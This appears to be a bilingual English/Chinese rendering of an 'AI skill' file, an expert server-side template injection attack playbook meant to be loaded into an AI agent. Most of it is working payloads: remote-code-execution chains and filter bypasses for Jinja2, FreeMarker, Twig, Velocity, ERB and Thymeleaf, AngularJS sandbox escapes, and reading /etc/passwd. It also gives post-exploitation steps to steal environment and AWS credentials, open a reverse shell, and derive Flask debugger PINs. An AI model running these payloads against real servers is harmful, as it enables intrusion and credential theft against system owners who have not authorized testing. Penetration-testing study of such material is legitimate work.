ssti-server-side-template-injection

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Server-Side Template Injection (SSTI) — Expert Attack Playbook

技能:服务端模板注入(SSTI)—— 专家级攻击手册

AI LOAD INSTRUCTION: Expert SSTI techniques. Covers polyglot detection probes, engine fingerprinting, Jinja2/FreeMarker/Twig/ERB RCE chains, client-side Angular SSTI, and bypass techniques. Base models often miss sandbox escape MRO chains and non-Jinja2 engines. For PHP CMS template eval, Jira SSTI, Confluence OGNL, and Spring Cloud Gateway SpEL, load the companion SCENARIOS.md.
AI加载说明:专家级SSTI技术,覆盖多语言检测探针、引擎指纹识别、Jinja2/FreeMarker/Twig/ERB远程代码执行链、客户端Angular SSTI以及绕过技术。基础模型通常会遗漏沙箱逃逸MRO链和非Jinja2引擎的相关利用方式。针对PHP CMS模板eval、Jira SSTI、Confluence OGNL以及Spring Cloud Gateway SpEL相关场景,请加载配套的SCENARIOS.md

0. RELATED ROUTING

0. 相关路径指引

Before using full engine-specific exploitation, you can first load:
  • 先直接使用本文件开头的 polyglot probe sequence 做低噪声指纹判断
  • expression-language-injection when
    ${7*7}
    or
    %{7*7}
    resolves in Java (SpEL/OGNL) — different attack surface from template engines
在使用完整的引擎专属利用方式之前,你可以先加载:
  • 先直接使用本文件开头的polyglot probe sequence做低噪声指纹判断
  • ${7*7}
    %{7*7}
    在Java(SpEL/OGNL)中被解析时,使用表达式语言注入——这类攻击面和模板引擎不同

Extended Scenarios

扩展场景

Also load SCENARIOS.md when you need:
  • Maccms 8.x PHP template
    eval
    {if-A:phpinfo()}{endif-A}
    in
    vod-search
    , base64 bypass for webshell write
  • Jira CVE-2019-11581 — "Contact Administrators" form → Velocity template injection → command output in admin email
  • Spring Cloud Gateway SpEL (CVE-2022-22947) — actuator route injection with
    StreamUtils.copyToByteArray
    for output capture
  • Struts2 OGNL S2-045 (CVE-2017-5638) — Content-Type header OGNL injection with
    _memberAccess
    /
    OgnlUtil
    blacklist clear
  • Confluence OGNL CVE-2021-26084 —
    createpage-entervariables.action
    with
    \u0027
    unicode bypass
  • SSTI vs EL injection disambiguation guide
  • Additional template engines: ASP.NET Razor, Elixir EEx, PHP Smarty/Latte/Blade, JS Pug/Handlebars/Nunjucks/EJS/Lodash + universal detection + blind SSTI + Flask PIN calculation
SCENARIOS.md reference (§7–§11): For expanded payloads and engine-specific notes on Razor, EEx/LEEx/HEEx, PHP stacks, JavaScript template engines, the universal polyglot probe, mathematical fingerprinting, blind SSTI (boolean / time / OOB), and Flask debug PIN prerequisites, see SCENARIOS.md. This skill keeps a short checklist in §13–§15.
当你需要以下场景的利用方式时,也请加载SCENARIOS.md
  • Maccms 8.x PHP模板
    eval
    ——
    vod-search
    接口中的
    {if-A:phpinfo()}{endif-A}
    payload,base64绕过写入webshell
  • Jira CVE-2019-11581 —— "联系管理员"表单 → Velocity模板注入 → 命令输出出现在管理员邮件中
  • Spring Cloud Gateway SpEL(CVE-2022-22947)—— actuator路由注入,使用
    StreamUtils.copyToByteArray
    捕获输出
  • Struts2 OGNL S2-045(CVE-2017-5638)—— Content-Type头OGNL注入,清除
    _memberAccess
    /
    OgnlUtil
    黑名单
  • Confluence OGNL CVE-2021-26084 ——
    createpage-entervariables.action
    接口使用
    \u0027
    Unicode绕过
  • SSTI和EL注入的区分指南
  • 额外的模板引擎支持:ASP.NET Razor、Elixir EEx、PHP Smarty/Latte/Blade、JS Pug/Handlebars/Nunjucks/EJS/Lodash + 通用检测 + 盲注SSTI + Flask PIN计算
SCENARIOS.md参考(第7-11节):如需Razor、EEx/LEEx/HEEx、PHP技术栈、JavaScript模板引擎的扩展payload和引擎专属说明,通用多语言探针、数学指纹识别、盲注SSTI(布尔/时间/带外)以及Flask调试PIN前置条件,请查看SCENARIOS.md。本技能在第13-15节保留了精简的检查清单。

Universal detection & blind SSTI (pointer)

通用检测与盲注SSTI(指引)

Use the polyglot payload and math probes in §1 and §13 first; when you need fuller blind-test patterns and per-engine examples (including non-Python stacks), follow SCENARIOS.md §11 and cross-check §14 here for technique names (boolean, time, OOB, error-based).

优先使用第1节和第13节中的多语言payload和数学探针;当你需要更完整的盲注测试模式和各引擎示例(包括非Python技术栈),请参考SCENARIOS.md第11节,并对照本文第14节的技术名称(布尔、时间、带外、基于错误)交叉验证。

1. DETECTION — POLYGLOT PROBE SEQUENCE

1. 检测——多语言探针序列

First test: distinguish SSTI from XSS. Send these probes and check if math is evaluated server-side:
{{7*7}}        → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
${7*7}         → IF returns 49 → FreeMarker, Velocity, or Java EL
#{7*7}         → Ruby (ERB interpolation in strings)
<#assign x=7*7>${x}  → FreeMarker
@{7*7}         → Thymeleaf
*{7*7}         → Thymeleaf SpEL (*{...})
Jinja2 vs Twig disambiguation:
{{7*'7'}}
→ 7777777  = Jinja2 (Python string multiplication)
→ 49       = Twig (PHP numeric)
Safe detection probe (no math, just boolean):
{{''.__class__}}   → class 'str' = Python/Jinja2

第一步测试:区分SSTI和XSS。发送以下探针,检查服务端是否执行了数学运算
{{7*7}}        → 如果返回49(而不是{{7*7}})→ Jinja2或Twig
${7*7}         → 如果返回49 → FreeMarker、Velocity或Java EL
#{7*7}         → Ruby(字符串中的ERB插值)
<#assign x=7*7>${x}  → FreeMarker
@{7*7}         → Thymeleaf
*{7*7}         → Thymeleaf SpEL (*{...})
Jinja2和Twig区分方法:
{{7*'7'}}
→ 7777777  = Jinja2(Python字符串乘法)
→ 49       = Twig(PHP数值运算)
安全检测探针(无数学运算,仅布尔判断):
{{''.__class__}}   → 返回class 'str' = Python/Jinja2

2. ENGINE-TO-LANGUAGE MAPPING

2. 引擎-编程语言映射表

Template EngineLanguageFramework
Jinja2PythonFlask, FastAPI
Django TemplatesPythonDjango
MakoPythonPyramid
TwigPHPSymfony, Laravel
SmartyPHPVarious
FreeMarkerJavaSpring MVC
VelocityJavaVarious Java
PebbleJavaVarious Java
ThymeleafJavaSpring Boot
ERBRubyRails
Slim / HamlRubyRails
Jade / PugNode.jsExpress
HandlebarsNode.jsExpress
TornadoPythonTornado
Identifying language from errors → then narrow to template engine.

模板引擎编程语言框架
Jinja2PythonFlask, FastAPI
Django TemplatesPythonDjango
MakoPythonPyramid
TwigPHPSymfony, Laravel
SmartyPHP各类PHP框架
FreeMarkerJavaSpring MVC
VelocityJava各类Java框架
PebbleJava各类Java框架
ThymeleafJavaSpring Boot
ERBRubyRails
Slim / HamlRubyRails
Jade / PugNode.jsExpress
HandlebarsNode.jsExpress
TornadoPythonTornado
通过错误信息识别编程语言 → 再缩小范围到具体模板引擎。

3. JINJA2 (PYTHON FLASK) — RCE CHAINS

3. JINJA2(PYTHON FLASK)—— 远程代码执行链

Chain 1:
os
module via
__globals__

利用链1:通过
__globals__
调用
os
模块

python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Chain 2: MRO subclass traversal (sandbox escape)

利用链2:MRO子类遍历(沙箱逃逸)

python
undefined
python
undefined

List all subclasses:

列出所有子类:

{{''.class.mro[1].subclasses()}}
{{''.class.mro[1].subclasses()}}

Find subprocess.Popen index (usually around 258-270, varies by Python version):

找到subprocess.Popen的索引(通常在258-270之间,随Python版本变化):

Look for "subprocess.Popen" in the list

在列表中查找"subprocess.Popen"

Execute command (replace [258] with correct index):

执行命令(将[258]替换为正确的索引):

{{''.class.mro[1].subclasses()[258]('id', shell=True, stdout=-1).communicate()[0]}}
undefined
{{''.class.mro[1].subclasses()[258]('id', shell=True, stdout=-1).communicate()[0]}}
undefined

Chain 3:
request
object globals (works when
config
blocked)

利用链3:
request
对象全局变量(当
config
被拦截时可用)

python
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
(Uses hex encoding to avoid
_
filtering)
python
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
(使用十六进制编码避免
_
被过滤)

Chain 4:
lipsum
function globals (Flask built-in)

利用链4:
lipsum
函数全局变量(Flask内置)

python
{{lipsum.__globals__.os.popen('id').read()}}
python
{{lipsum.__globals__.os.popen('id').read()}}

Chain 5:
cycler
object

利用链5:
cycler
对象

python
{{cycler.__init__.__globals__.os.popen('id').read()}}
python
{{cycler.__init__.__globals__.os.popen('id').read()}}

Finding correct subprocess index dynamically:

动态查找正确的subprocess索引:

python
undefined
python
undefined

In injection:

注入时使用:

{% for c in ''.class.mro[1].subclasses() %} {% if 'Popen' in c.name %} {{loop.index}} {% endif %} {% endfor %}

---
{% for c in ''.class.mro[1].subclasses() %} {% if 'Popen' in c.name %} {{loop.index}} {% endif %} {% endfor %}

---

4. JINJA2 SANDBOX BYPASS TECHNIQUES

4. JINJA2沙箱绕过技术

When
_
(underscore) is blocked:

_
(下划线)被拦截时:

python
undefined
python
undefined

Use attr filter with hex encoding:

配合hex编码使用attr过滤器:

''|attr('\x5f\x5fclass\x5f\x5f')
''|attr('\x5f\x5fclass\x5f\x5f')

Use getattr via request object:

通过request对象调用getattr:

request|attr('args')|attr('class')
undefined
request|attr('args')|attr('class')
undefined

When
.
(dot) is blocked:

.
(点)被拦截时:

python
undefined
python
undefined

Use [] subscript notation:

使用[]下标表示法:

''['class'] config['SECRET_KEY']
undefined
''['class'] config['SECRET_KEY']
undefined

When keywords (class, mro) are blocked:

当关键词(class、mro)被拦截时:

Use hex/unicode in
attr()
:
python
|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')
attr()
中使用十六进制/Unicode编码:
python
|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')

When output encoding strips HTML entities:

当输出编码会剥离HTML实体时:

Use
|safe
filter to prevent auto-escaping.

使用
|safe
过滤器避免自动转义。

5. FREEMARKER (JAVA) — RCE

5. FREEMARKER(JAVA)—— 远程代码执行

Execute Command via freemarker.template.utility.Execute

通过freemarker.template.utility.Execute执行命令

freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}

Alternative via ObjectConstructor:

通过ObjectConstructor的替代方案:

freemarker
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}

freemarker
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}

6. TWIG (PHP) — RCE

6. TWIG(PHP)—— 远程代码执行

php
// Twig 1.x (before sandbox):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

// Twig 2.x using built-ins:
{{['id']|map('system')|join}}

// via filter map:
{{app.request.server.all|join(',')}}

php
// Twig 1.x(沙箱关闭前的版本):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

// Twig 2.x使用内置函数:
{{['id']|map('system')|join}}

// 通过filter map实现:
{{app.request.server.all|join(',')}}

7. VELOCITY (JAVA) — RCE

7. VELOCITY(JAVA)—— 远程代码执行

velocity
#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)
Or more directly:
velocity
#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))

velocity
#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)
更直接的写法:
velocity
#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))

8. ERB (RUBY RAILS) — RCE

8. ERB(RUBY RAILS)—— 远程代码执行

ruby
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>

ruby
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>

9. THYMELEAF (JAVA SPRING) — RCE

9. THYMELEAF(JAVA SPRING)—— 远程代码执行

Thymeleaf with Spring EL (SpEL):
java
// In th:text or th:fragment context:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type

// Fragment expression context:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type

配合Spring EL(SpEL)的Thymeleaf利用:
java
// 在th:text或th:fragment上下文中:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type

// 片段表达式上下文:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type

10. CLIENT-SIDE TEMPLATE INJECTION (AngularJS)

10. 客户端模板注入(AngularJS)

When AngularJS is used client-side and user data flows into template expressions:
javascript
// AngularJS 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}

// 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

// 1.3.x:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
Detection: send
{{1+1}}
— if page shows
2
, AngularJS evaluates expressions in the DOM.

当客户端使用AngularJS且用户数据会流入模板表达式时:
javascript
// AngularJS 1.x沙箱逃逸:
{{constructor.constructor('alert(1)')()}}

// 1.5.x版本:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

// 1.3.x版本:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
检测方法: 发送
{{1+1}}
—— 如果页面显示
2
,说明AngularJS会在DOM中执行表达式。

11. SSTI → FULL RCE PATH

11. SSTI到完整远程代码执行的路径

SSTI detected → identify engine
├── Jinja2 → config.__globals__['os'].popen() 
│           OR subclass traversal for Popen
├── FreeMarker → freemarker.template.utility.Execute?new()
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
├── Velocity → java.lang.Runtime.exec()
├── ERB → <%= `cmd` %>
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
└── Angular CSTI → constructor.constructor('payload')()
Post-RCE pivot:
  1. Read
    /proc/self/environ
    — env vars with credentials
  2. Read application config files — DB passwords, API keys
  3. cat ~/.aws/credentials
    — cloud credentials
  4. Reverse shell for persistence

检测到SSTI → 识别引擎
├── Jinja2 → config.__globals__['os'].popen() 
│           或遍历子类查找Popen
├── FreeMarker → freemarker.template.utility.Execute?new()
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
├── Velocity → java.lang.Runtime.exec()
├── ERB → <%= `cmd` %>
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
└── Angular CSTI → constructor.constructor('payload')()
远程代码执行后的横向移动:
  1. 读取
    /proc/self/environ
    —— 包含凭证的环境变量
  2. 读取应用配置文件 —— 数据库密码、API密钥
  3. cat ~/.aws/credentials
    —— 云服务凭证
  4. 反弹shell实现持久化

12. COMMON INJECTION ENTRY POINTS

12. 常见注入入口点

Where user data enters templates:
  • URL path:
    https://site.com/home?name={{7*7}}
  • Query parameters:
    ?message=Hello
  • HTML forms: profile name, bio, content fields
  • Error pages:
    404 Not Found: /PAYLOAD
  • Email templates: name in password reset emails
  • Inline template rendering:
    render_template_string(user_input)
Most dangerous:
render_template_string()
in Flask — entire user input used as template.

用户数据进入模板的常见位置:
  • URL路径:
    https://site.com/home?name={{7*7}}
  • 查询参数:
    ?message=Hello
  • HTML表单: 个人资料名称、简介、内容字段
  • 错误页面:
    404 Not Found: /PAYLOAD
  • 邮件模板: 密码重置邮件中的用户名
  • 内联模板渲染:
    render_template_string(user_input)
最高风险: Flask中的
render_template_string()
—— 整个用户输入都会被当作模板执行。

13. UNIVERSAL DETECTION PAYLOADS

13. 通用检测Payload

Polyglot probe that triggers errors or evaluation in many engines:
${{<%[%'"}}%\.
Mathematical probes for blind/error confirmation:
{{7*7}}          → 49 (Jinja2, Twig, Nunjucks, Handlebars)
${7*7}           → 49 (FreeMarker, Velocity, EL, Thymeleaf)
<%= 7*7 %>       → 49 (ERB, EJS, EEx)
#{7*7}           → 49 (Pug, Ruby interpolation)
@(7*7)           → 49 (Razor)
{7*7}            → 49 (Smarty)
Error-based engine fingerprint (parser/stack traces often name the engine):
(1/0).zxy.zxy

可在多数引擎中触发错误或执行的多语言探针:
${{<%[%'"}}%\.
用于盲注/错误确认的数学探针:
{{7*7}}          → 49 (Jinja2, Twig, Nunjucks, Handlebars)
${7*7}           → 49 (FreeMarker, Velocity, EL, Thymeleaf)
<%= 7*7 %>       → 49 (ERB, EJS, EEx)
#{7*7}           → 49 (Pug, Ruby插值)
@(7*7)           → 49 (Razor)
{7*7}            → 49 (Smarty)
基于错误的引擎指纹识别(解析器/栈轨迹通常会显示引擎名称):
(1/0).zxy.zxy

14. BLIND SSTI TECHNIQUES

14. 盲注SSTI技术

  • Boolean-based: Compare
    (3*4/2)
    vs
    3*)2(/4
    — if the first resolves and the second errors, evaluation is likely
  • Time-based:
    {{sleep(5)}}
    or the engine-specific equivalent for delay
  • OOB: DNS/HTTP callback via template expressions when direct output is not visible
  • Error-based: Force different error messages based on true/false conditions

  • 布尔型: 对比
    (3*4/2)
    3*)2(/4
    —— 如果前者正常返回后者报错,很可能存在表达式执行
  • 时间型: 注入
    {{sleep(5)}}
    或对应引擎的延迟函数实现
  • 带外(OOB): 当无法直接看到输出时,通过模板表达式触发DNS/HTTP回调
  • 错误型: 根据true/false条件强制返回不同的错误信息

15. FLASK PIN CALCULATION

15. FLASK PIN计算

When Flask debug mode (Werkzeug debugger) is exposed but PIN-protected, the PIN is derived from host-specific values. Typical inputs for public PIN calculation scripts:
  1. username
    — from
    /etc/passwd
    (the user running the Flask process)
  2. Module name — often
    flask.app
    or
    Flask
  3. Application path
    app.py
    or the real main filename
  4. MAC address — e.g.
    /sys/class/net/eth0/address
    , converted to decimal as Werkzeug expects
  5. Machine ID
    /etc/machine-id
    , or
    /proc/sys/kernel/random/boot_id
    combined with the first line of
    /proc/self/cgroup
    per Werkzeug’s algorithm
  6. Compute PIN — use established open-source PIN calculators that implement the same algorithm from these values
Use only on systems you are authorized to test; obtaining these values implies prior access or an additional info-disclosure vector.
当Flask调试模式(Werkzeug调试器)对外暴露但受PIN保护时,PIN是由主机特定值生成的。公开PIN计算脚本的典型输入参数:
  1. username
    —— 来自
    /etc/passwd
    (运行Flask进程的用户)
  2. 模块名称 —— 通常是
    flask.app
    Flask
  3. 应用路径 ——
    app.py
    或实际的主程序文件名
  4. MAC地址 —— 例如
    /sys/class/net/eth0/address
    ,按Werkzeug要求转换为十进制
  5. 机器ID ——
    /etc/machine-id
    ,或
    /proc/sys/kernel/random/boot_id
    结合
    /proc/self/cgroup
    的第一行,按Werkzeug算法拼接
  6. 计算PIN —— 使用成熟的开源PIN计算器,其实现了和Werkzeug相同的生成算法
仅在你获得授权的系统上使用本技术;获取这些值意味着你已经有了前置访问权限或额外的信息泄露漏洞。